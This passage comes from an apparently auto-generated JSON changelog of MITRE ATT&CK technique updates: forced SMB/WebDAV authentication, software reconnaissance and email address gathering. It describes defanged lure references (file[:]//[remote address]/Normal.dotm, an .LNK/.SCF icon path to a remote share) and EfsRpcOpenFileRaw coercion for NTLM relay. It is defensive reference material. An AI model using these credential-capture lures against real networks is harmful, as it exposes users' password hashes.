different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\\n\\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\\\\\[remote address]\\\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)\", \"diff\": \"--- \\n+++ \\n@@ -1,12 +1,15 @@\\n Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\\n \\n-The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\\n+The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\\n \\n-Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\\n+Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security)\\n \\n-Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\\n+Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server.(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.(Citation: Cylance Redirect to SMB)\\n \\n-There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\\n+There are several different ways this can occur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\\n \\n-* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\\n-* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\\\\\[remote address]\\\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)\\n+* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)\\n+* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\\\\\[remote address]\\\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)\\n+\\n+Alternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\\n+\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\\n\\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\\n-\\n-Monitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Rapid7\", \"description\": \"Condon, Caitlin. (2022, April 24). PetitPotam: Novel Attack Chain Can Fully Compromise Windows Domains. Retrieved May 30, 2025.\", \"url\": \"https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/\"}, \"root['external_references'][7]\": {\"source_name\": \"GitHub\", \"description\": \"topotam. (2021, July 18). PetitPotam. PoC tool to coerce Windows hosts to authenticate to other machines. Retrieved May 30, 2025.\", \"url\": \"https://github.com/topotam/PetitPotam\"}, \"root['x_mitre_contributors'][2]\": \"Jiraput Thamsongkrah\", \"root['x_mitre_contributors'][3]\": \"Purinut Wongwaiwuttiguldej\", \"root['x_mitre_contributors'][4]\": \"Natthawut Saexu\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may gather credential material by invoking or fot1Adversaries may gather credential material by invoking or fo
>rcing a user to automatically provide authentication informa>rcing a user to automatically provide authentication informa
>tion through a mechanism in which they can intercept.  The S>tion through a mechanism in which they can intercept.  The S
>erver Message Block (SMB) protocol is commonly used in Windo>erver Message Block (SMB) protocol is commonly used in Windo
>ws networks for authentication and communication between sys>ws networks for authentication and communication between sys
>tems for access to resources and file sharing. When a Window>tems for access to resources and file sharing. When a Window
>s system attempts to connect to an SMB resource it will auto>s system attempts to connect to an SMB resource it will auto
>matically attempt to authenticate and send credential inform>matically attempt to authenticate and send credential inform
>ation for the current user to the remote system. (Citation: >ation for the current user to the remote system.(Citation: W
>Wikipedia Server Message Block) This behavior is typical in >ikipedia Server Message Block) This behavior is typical in e
>enterprise environments so that users do not need to enter c>nterprise environments so that users do not need to enter cr
>redentials to access network resources.  Web Distributed Aut>edentials to access network resources.  Web Distributed Auth
>horing and Versioning (WebDAV) is also typically used by Win>oring and Versioning (WebDAV) is also typically used by Wind
>dows systems as a backup protocol when SMB is blocked or fai>ows systems as a backup protocol when SMB is blocked or fail
>ls. WebDAV is an extension of HTTP and will typically operat>s. WebDAV is an extension of HTTP and will typically operate
>e over TCP ports 80 and 443. (Citation: Didier Stevens WebDA> over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV 
>V Traffic) (Citation: Microsoft Managing WebDAV Security)  A>Traffic)(Citation: Microsoft Managing WebDAV Security)  Adve
>dversaries may take advantage of this behavior to gain acces>rsaries may take advantage of this behavior to gain access t
>s to user account hashes through forced SMB/WebDAV authentic>o user account hashes through forced SMB/WebDAV authenticati
>ation. An adversary can send an attachment to a user through>on. An adversary can send an attachment to a user through sp
> spearphishing that contains a resource link to an external >earphishing that contains a resource link to an external ser
>server controlled by the adversary (i.e. [Template Injection>ver controlled by the adversary  (i.e. [Template Injection](
>](https://attack.mitre.org/techniques/T1221)), or place a sp>https://attack.mitre.org/techniques/T1221)), or place a spec
>ecially crafted file on navigation path for privileged accou>ially crafted file on navigation path for privileged account
>nts (e.g. .SCF file placed on desktop) or on a publicly acce>s (e.g. .SCF file placed on desktop) or on a publicly access
>ssible share to be accessed by victim(s). When the user's sy>ible share to be accessed by victim(s). When the user's syst
>stem accesses the untrusted resource it will attempt authent>em accesses the untrusted resource, it will attempt authenti
>ication and send information, including the user's hashed cr>cation and send information, including the user's hashed cre
>edentials, over SMB to the adversary controlled server. (Cit>dentials, over SMB to the adversary-controlled server.(Citat
>ation: GitHub Hashjacking) With access to the credential has>ion: GitHub Hashjacking) With access to the credential hash,
>h, an adversary can perform off-line [Brute Force](https://a> an adversary can perform off-line [Brute Force](https://att
>ttack.mitre.org/techniques/T1110) cracking to gain access to>ack.mitre.org/techniques/T1110) cracking to gain access to p
> plaintext credentials. (Citation: Cylance Redirect to SMB) >laintext credentials.(Citation: Cylance Redirect to SMB)  Th
> There are several different ways this can occur. (Citation:>ere are several different ways this can occur.(Citation: Osa
> Osanda Stealing NetNTLM Hashes) Some specifics from in-the->nda Stealing NetNTLM Hashes) Some specifics from in-the-wild
>wild use include:  * A spearphishing attachment containing a> use include:  * A spearphishing attachment containing a doc
> document with a resource that is automatically loaded when >ument with a resource that is automatically loaded when the 
>the document is opened (i.e. [Template Injection](https://at>document is opened (i.e. [Template Injection](https://attack
>tack.mitre.org/techniques/T1221)). The document can include,>.mitre.org/techniques/T1221)). The document can include, for
> for example, a request similar to <code>file[:]//[remote ad> example, a request similar to <code>file[:]//[remote addres
>dress]/Normal.dotm</code> to trigger the SMB request. (Citat>s]/Normal.dotm</code> to trigger the SMB request.(Citation: 
>ion: US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF >US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF file 
>file with the icon filename pointing to an external referenc>with the icon filename pointing to an external reference suc
>e such as <code>\\\\[remote address]\\pic.png</code> that will >h as <code>\\\\[remote address]\\pic.png</code> that will force
>force the system to load the resource when the icon is rende> the system to load the resource when the icon is rendered t
>red to repeatedly gather credentials. (Citation: US-CERT APT>o repeatedly gather credentials.(Citation: US-CERT APT Energ
> Energy Oct 2017)>y Oct 2017)  Alternatively, by leveraging the <code>EfsRpcOp
 >enFileRaw</code> function, an adversary can send SMB request
 >s to a remote system's MS-EFSRPC interface and force the vic
 >tim computer to initiate an authentication procedure and sha
 >re its authentication details. The Encrypting File System Re
 >mote Protocol (EFSRPC) is a protocol used in Windows network
 >s for maintenance and management operations on encrypted dat
 >a that is stored remotely to be accessed over a network. Uti
 >lization of <code>EfsRpcOpenFileRaw</code> function in EFSRP
 >C is used to open an encrypted object on the server for back
 >up or restore. Adversaries can collect this data and abuse i
 >t as part of a NTLM relay attack to gain access to remote sy
 >stems on the same internal network.(Citation: Rapid7)(Citati
 >on: GitHub)  
", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies", + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Access)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0022: Detect Forced SMB/WebDAV Authentication via lure files and outbound NTLM" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:42:17.482000+00:00", + "modified": "2025-10-24 17:49:17.631000+00:00", + "name": "Software", + "description": "Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Additionally, adversaries may analyze metadata from victim-owned files (e.g., PDFs, DOCs, images, and sound files hosted on victim-owned websites) to extract information about the software and hardware used to create or process those files. Metadata may reveal software versions, configurations, or timestamps that indicate outdated or vulnerable software. This information can be cross-referenced with known CVEs to identify potential vectors for exploitation in future operations.(Citation: Outpost24)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1592/002", + "external_id": "T1592.002" + }, + { + "source_name": "ATT ScanBox", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" + }, + { + "source_name": "Outpost24", + "description": "Stijn Vande Casteele. (2025, March 31). How to analyze metadata and hide it from hackers. Retrieved July 2, 2025.", + "url": "https://outpost24.com/blog/metadata-hackers-best-friend/" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Michal Biesiada" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Michal Biesiada\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:17.631000+00:00\", \"old_value\": \"2025-04-15 23:09:53.612000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).\\n\\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Additionally, adversaries may analyze metadata from victim-owned files (e.g., PDFs, DOCs, images, and sound files hosted on victim-owned websites) to extract information about the software and hardware used to create or process those files. Metadata may reveal software versions, configurations, or timestamps that indicate outdated or vulnerable software. This information can be cross-referenced with known CVEs to identify potential vectors for exploitation in future operations.(Citation: Outpost24)\\n\\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\", \"old_value\": \"Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).\\n\\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).\\n \\n-Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\\n+Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Additionally, adversaries may analyze metadata from victim-owned files (e.g., PDFs, DOCs, images, and sound files hosted on victim-owned websites) to extract information about the software and hardware used to create or process those files. Metadata may reveal software versions, configurations, or timestamps that indicate outdated or vulnerable software. This information can be cross-referenced with known CVEs to identify potential vectors for exploitation in future operations.(Citation: Outpost24)\\n+\\n+Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Outpost24\", \"description\": \"Stijn Vande Casteele. (2025, March 31). How to analyze metadata and hide it from hackers. Retrieved July 2, 2025.\", \"url\": \"https://outpost24.com/blog/metadata-hackers-best-friend/\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may gather information about the victim's host st1Adversaries may gather information about the victim's host s
>oftware that can be used during targeting. Information about>oftware that can be used during targeting. Information about
> installed software may include a variety of details such as> installed software may include a variety of details such as
> types and versions on specific hosts, as well as the presen> types and versions on specific hosts, as well as the presen
>ce of additional components that might be indicative of adde>ce of additional components that might be indicative of adde
>d defensive protections (ex: antivirus, SIEMs, etc.).  Adver>d defensive protections (ex: antivirus, SIEMs, etc.).  Adver
>saries may gather this information in various ways, such as >saries may gather this information in various ways, such as 
>direct collection actions via [Active Scanning](https://atta>direct collection actions via [Active Scanning](https://atta
>ck.mitre.org/techniques/T1595) (ex: listening ports, server >ck.mitre.org/techniques/T1595) (ex: listening ports, server 
>banners, user agent strings) or [Phishing for Information](h>banners, user agent strings) or [Phishing for Information](h
>ttps://attack.mitre.org/techniques/T1598). Adversaries may a>ttps://attack.mitre.org/techniques/T1598). Adversaries may a
>lso compromise sites then include malicious content designed>lso compromise sites then include malicious content designed
> to collect host information from visitors.(Citation: ATT Sc> to collect host information from visitors.(Citation: ATT Sc
>anBox) Information about the installed software may also be >anBox) Information about the installed software may also be 
>exposed to adversaries via online or other accessible data s>exposed to adversaries via online or other accessible data s
>ets (ex: job postings, network maps, assessment reports, res>ets (ex: job postings, network maps, assessment reports, res
>umes, or purchase invoices). Gathering this information may >umes, or purchase invoices). Additionally, adversaries may a
>reveal opportunities for other forms of reconnaissance (ex: >nalyze metadata from victim-owned files (e.g., PDFs, DOCs, i
>[Search Open Websites/Domains](https://attack.mitre.org/tech>mages, and sound files hosted on victim-owned websites) to e
>niques/T1593) or [Search Open Technical Databases](https://a>xtract information about the software and hardware used to c
>ttack.mitre.org/techniques/T1596)), establishing operational>reate or process those files. Metadata may reveal software v
> resources (ex: [Develop Capabilities](https://attack.mitre.>ersions, configurations, or timestamps that indicate outdate
>org/techniques/T1587) or [Obtain Capabilities](https://attac>d or vulnerable software. This information can be cross-refe
>k.mitre.org/techniques/T1588)), and/or for initial access (e>renced with known CVEs to identify potential vectors for exp
>x: [Supply Chain Compromise](https://attack.mitre.org/techni>loitation in future operations.(Citation: Outpost24)  Gather
>ques/T1195) or [External Remote Services](https://attack.mit>ing this information may reveal opportunities for other form
>re.org/techniques/T1133)).>s of reconnaissance (ex: [Search Open Websites/Domains](http
 >s://attack.mitre.org/techniques/T1593) or [Search Open Techn
 >ical Databases](https://attack.mitre.org/techniques/T1596)),
 > establishing operational resources (ex: [Develop Capabiliti
 >es](https://attack.mitre.org/techniques/T1587) or [Obtain Ca
 >pabilities](https://attack.mitre.org/techniques/T1588)), and
 >/or for initial access (ex: [Supply Chain Compromise](https:
 >//attack.mitre.org/techniques/T1195) or [External Remote Ser
 >vices](https://attack.mitre.org/techniques/T1133)).
", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0888: Detection of Software" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 14:56:24.866000+00:00", + "modified": "2025-10-24 17:48:54.336000+00:00", + "name": "Email Addresses", + "description": "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.(Citation: GitHub Office 365 User Enumeration)(Citation: Azure Active Directory Reconnaisance)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1589/002", + "external_id": "T1589.002" + }, + { + "source_name": "Azure Active Directory Reconnaisance", + "description": "Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved May 27, 2022.", + "url": "https://o365blog.com/post/just-looking/" + }, + { + "source_name": "GitHub Office 365 User Enumeration", + "description": "gremwell. (2020, March 24). Office 365 User Enumeration. Retrieved May 27, 2022.", + "url": "https://github.com/gremwell/o365enum" + }, + { + "source_name": "GrimBlog UsernameEnum", + "description": "GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.", + "url": "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/" + }, + { + "source_name": "HackersArise Email", + "description": "Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved October 20, 2020.", + "url": "https://www.hackers-arise.com/email-scraping-and-maltego" + }, + { + "source_name": "CNET Leaks", + "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.", + "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:54.336000+00:00\", \"old_value\": \"2025-04-15 22:26:21.953000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for suspicious network traffic that could be indicative of 